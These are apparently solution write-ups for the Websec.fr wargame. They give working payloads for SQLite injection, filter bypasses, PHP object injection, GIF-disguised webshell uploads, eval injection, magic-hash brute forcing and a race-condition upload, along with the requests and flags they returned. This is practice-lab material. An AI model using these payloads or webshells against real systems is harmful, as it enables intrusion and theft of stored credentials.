This folder contains solutions for the Websec.fr wargame from websec.fr.
There is a basic sql injection, here in variant of sqlite. Let’s examine the structure of the table:
- Request
5 Union select 1,sql FROM sqlite_master
- Answer:
CREATE TABLE users(id int(7), username varchar(255), password varchar(255))
Okay, we can see there is also column for password, let’s get all passwords and usernames:
- Request
5 union select group_concat(username),group_concat(password) from users
- Answer:
UnrelatedPassword,ExampleUserPassword,WEBSEC{Simple_SQLite_Injection}
Yay, the FLAG is found inside the passwords
Flag: WEBSEC{Simple_SQLite_Injection}
Here it’s like level01, however, this time it uses preg_replace
to replace keywords like union, order, select, from, group, by and so on.
The trick here is that it doesn’t replace recursively, so if we will input: sBYelect
, it’ll remove only the BY but the select will still be there…
So, let’s just push BY
into all of the forbidden keywords.
- Request
5 UBYnion sBYelect 1,sql FBYROM sqlite_master
- Answer:
CREATE TABLE users(id int(7), username varchar(255), password varchar(255))
Okay, we can see there is also column for password, let’s get all passwords and usernames:
- Request
5 uBYnion sBYelect gBYroup_concat(username),gBYroup_concat(password) fBYrom users
- Answer:
WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}
Yay, the FLAG is found inside the passwords.
Flag: WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}
Here there is an unsecured unserialize
function, which can let us inject our own SQL
object and then execute our malicious queries.
<?php
class SQL {
public $query = "SELECT username FROM users WHERE id=";
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
}
public function SQL_query($query) {
$this->query = $query;
}
public function execute() {
return $this->conn->query ($this->query);
}
public function __destruct() {
if (!isset ($this->conn)) {
$this->connect ();
}
$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
}
}
$sql = new SQL();
echo base64_encode(serialize($sql));
?>
Let’s examine the structure of the table:
- Request
Select SQL FROM sqlite_master; --
- Answer:
CREATE TABLE users(id int, username varchar, password varchar)
Let’s get password as username, because this is how it fetchs the results
$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
- Request
Select password as username from users; --
- Answer:
WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}
Yay, the FLAG is found inside the passwords
Flag: WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}
Another RCE
using webshell we uploading. This time, we pass this check:
if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF)
By just providing the magic IMAGETYPE_GIF
which is GIF89a
.
Our webshell will show us the files in the folders, and then we’ll read the flag.
<?php
$dir = getcwd(); // Current working directory
$files = scandir($dir); // Get all files in the current directory
echo "Files in directory: <br>";
foreach ($files as $file) {
echo $file . "<br>";
}
echo "Content of flag.txt is:\n".'<br>';
echo file_get_contents('flag.txt')."<br>";
?>
GIF Files in directory:
<br>.
<br>..
<br>flag.txt
<br>index.php
<br>php-fpm.sock
<br>source.php
<br>uploads
<br>Content of flag.txt is:
<br>
WEBSEC{BypassingImageChecksToRCE}
<br>
You can easily upload this GIF (of course this isn’t a valid GIF file…), Fake Gif
Flag: WEBSEC{BypassingImageChecksToRCE}
Here we exploit the loose comparison, and the fact it takes only the first 8 digits from the hash
$hash = substr (md5 ($flag . $file . $flag), 0, 8);
if ($request == $hash) {
show_source ($file);
}
Also, if we will give ./flag.php
and .///////flag.php
, it’ll be treated the same.
What i want to do is to give 0e1
as the hash, and trying to give some .///////flag.php
(with more slashes) that’ll give us hash which looks like: 0edddddddd
(d -> digit).
This will work because we use loose comparison, and it being treated as exponent number, which then treated as 0
. source from here php operators comparison.
php > echo "0e1" == "0";
> 1
php > echo "0e1" == "0e8472638";
> 1
I’ve tried this simple script, to check on dummy flag whether it’ll work, and it worked!
import hashlib
import string
import itertools
import re
flag = "WEBSEC{{flagflagflag}}" # we don't know the flag, so just guess one temporarily
def is_magic_hash(s):
return re.match(r"0e\d+$", s)
counter = 1
while True:
f = '.' + '/'*counter + 'flag.php'
h = hashlib.md5((flag + f + flag).encode()).hexdigest()
# Check if the hash is in the format of "0e" followed by digits
print(f"Trying f={f}, md5={h}, counter={counter}")
if is_magic_hash(h[0:8]):
print(f"Try f={f}, md5={h}, counter={counter}")
exit()
counter += 1
Output:
////(...)//flag.php, md5=0e425116ebcb7ea06f57e56d74a0c33c, counter=10391
Know, let’s rewrite the script to attack:
Here we don’t know the flag, and just send each time with more /
the filename, until we manage to bypass the if statement.
{% include_relative scripts/level10.py %}
Flag: WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}
Here we exploit RCE
. we can see it uses the function create_function
, however, here create function manual we can see it using eval
, and thus considers unsecure…
That’s how it works, how it creates our function:
eval('function() { YOUR_STRING_HERE }');
So, let’s inject some code that’ll break the {}
, and then execute our code :)
} echo htmlspecialchars(file_get_contents('/flag.php')); {
Notice we need to use htmlspecialchars
, without this function, it won’t show us the flag!
Flag: WEBSEC{HHVM_was_right_about_not_implementing_eval}
both strcmp
and strcasecmp
, when getting array and string, returns null, which the program treats as true
, look here for explain stackoverflow.
let’s insert this as our data:
flag[]=a&submit=Go
Flag: WEBSEC{It_seems_that_php_could_use_a_stricter_typing_system}
Here we can bypass this code by two ways:
parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
foreach ($query as $k => $v) {
if (stripos($v, 'flag') !== false)
die('You are not allowed to get the flag, sorry :/');
}
Bypassing using making failure
If we’ll give this input: https://websec.fr/level25/index.php?page=flag&:1337
, the parse_url
will fail php parse url fails
Bypassing using empty query
If we’ll give this input: https://websec.fr///level25/index.php?page=flag
, the parse url will thing the ['query']
is empty, and then again, bypassing the check.
(here in the picture i gave the $_SERVER['REQUEST_URI']
)
Flag: WEBSEC{How_am_I_supposed_to_parse_uri_when_everything_is_so_broooken}
Here we need to upload our webshell and then read the Flag. We’ve got only one second before the file get deleted, is basically RCE
combined will TocToe
.
This will be our payload
<?php
echo htmlspecialchars(file_get_contents('/flag.php'));
?>
Notice we need to use htmlspecialchars
, without this function, it won’t show us the flag!
And then we get:
<?php $flag = 'WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}';
Flag: WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}